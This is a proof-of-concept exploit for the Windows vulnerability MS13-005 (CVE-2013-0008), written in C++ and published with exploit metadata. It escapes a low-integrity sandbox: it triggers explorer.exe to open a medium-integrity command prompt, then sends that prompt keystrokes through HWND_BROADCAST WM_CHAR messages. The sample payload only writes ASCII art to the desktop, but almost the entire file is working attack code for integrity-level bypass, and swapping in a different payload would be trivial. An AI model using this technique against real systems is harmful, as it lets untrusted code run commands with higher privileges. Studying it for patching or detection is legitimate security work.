Microsoft Windows - HWND_BROADCAST (PoC) (MS13-005)

/*

    ms13-005-funz-poc.cpp - Drive a Medium IL cmd.exe via a Low IL

process and message broadcasted

    Copyright (C) 2013 Axel "0vercl0k" Souchet - http://www.twitter.com/0vercl0k



    This program is free software: you can redistribute it and/or modify

    it under the terms of the GNU General Public License as published by

    the Free Software Foundation, either version 3 of the License, or

    (at your option) any later version.



    This program is distributed in the hope that it will be useful,

    but WITHOUT ANY WARRANTY; without even the implied warranty of

    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

    GNU General Public License for more details.



    You should have received a copy of the GNU General Public License

    along with this program.  If not, see <http://www.gnu.org/licenses/>.



    @taviso did all the job, I just followed its blogpost:

      -> http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html

-- amazing.



    Cool trick:

      -> If you want to set this process to a low IL you can use:

      icacls ms13-005-funz-poc.exe /setintegritylevel L

      -> The new ms13-005-funz-poc.exe will be now launched as low IL

(you can check it with process explorer)



    # Exploit Title: ms13-005-funz-poc.cpp

    # Date: 2013-02-05

    # Exploit Author: 0vercl0k - https://twitter.com/0vercl0k

    # Vendor Homepage: https://www.microsoft.com/

    # Version: Windows Vista, Windows Server 2008, Windows 7, Windows

Server 2008 r2, Windows 8, Windows Server 2012, Windows RT (See

http://technet.microsoft.com/fr-fr/security/bulletin/ms13-005)

    # Tested on: Windows 7

    # CVE : CVE-2013-0008 -

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0008

    # Video: http://0vercl0k.tuxfamily.org/bl0g/ms13-005-funz/ms13-005-funz-poc.mp4

*/



#include <windows.h>

#include <stdio.h>



int main()

{

    STARTUPINFO si = {0};

    PROCESS_INFORMATION pi = {0};

    PCHAR payload[] = {

        "echo \".___   _____    ______________ ______________   \">

%USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"|   | /     \\   \\__    ___/   |   \\_   _____/

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"|   |/  \\ /  \\    |    | /    ~    \\    __)_

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"|   /    Y    \\   |    | \\    Y    /        \\

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"|___\\____|__  /   |____|  \\___|_  /_______  /   \">>

%USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"           \\/                  \\/        \\/

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \" _______  .___  ________  ________    _____     \">>

%USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \" \\      \\ |   |/  _____/ /  _____/   /  _  \\

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \" /   |   \\|   /   \\  ___/   \\  ___  /  /_\\  \\

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"/    |    \\   \\    \\_\\  \\    \\_\\  \\/    |

\\  \">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"\\____|__  /___|\\______  /\\______  /\\____|__  /

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "echo \"       \\/            \\/        \\/         \\/

\">> %USERPROFILE%\\Desktop\\TROLOLOL",

        "exit",

        NULL

    };



    printf("1] Spawning a low IL cmd.exe (from a low IL process)..Rdy

? Press to continue\n");

    getchar();



    si.cb = sizeof(si);

    CreateProcess(

        NULL,

        "cmd.exe",

        NULL,

        NULL,

        TRUE,

        CREATE_NEW_CONSOLE,

        NULL,

        NULL,

        &si,

        &pi

    );



    Sleep(1000);



    // Yeah, you can "bruteforce" the index of the window..

    printf("2] Use Win+Shift+7 to ask explorer.exe to spawn a cmd.exe MI..");

    keybd_event(VK_LWIN, 0x5B, 0, 0);

    keybd_event(VK_LSHIFT, 0xAA, 0, 0);

    keybd_event(0x37, 0x87, 0, 0);



    keybd_event(VK_LWIN, 0x5B, KEYEVENTF_KEYUP, 0);

    keybd_event(VK_LSHIFT, 0xAA, KEYEVENTF_KEYUP, 0);

    keybd_event(0x37, 0x87, KEYEVENTF_KEYUP, 0);



    Sleep(1000);

    printf("3] Killing now the useless low IL cmd.exe..\n");



    TerminateProcess(

        pi.hProcess,

        1337

    );



    printf("4] Now driving the medium IL cmd.exe with SendMessage and

HWND_BROADCAST (WM_CHAR)\n");

    printf("   \"Drive the command prompt [..] to make it look like a

scene from a Hollywood movie.\" <- That's what we're going to do!\n");



    for(unsigned int i = 0; payload[i] != NULL; ++i)

    {

        for(unsigned int j = 0; j < strlen(payload[i]); ++j)

        {

            // Yeah, that's the fun part to watch ;D

            Sleep(10);

            SendMessage(

                HWND_BROADCAST,

                WM_CHAR,

                payload[i][j],

                0

            );

        }



        SendMessage(

            HWND_BROADCAST,

            WM_CHAR,

            VK_RETURN,

            0

        );

    }



    return EXIT_SUCCESS;

}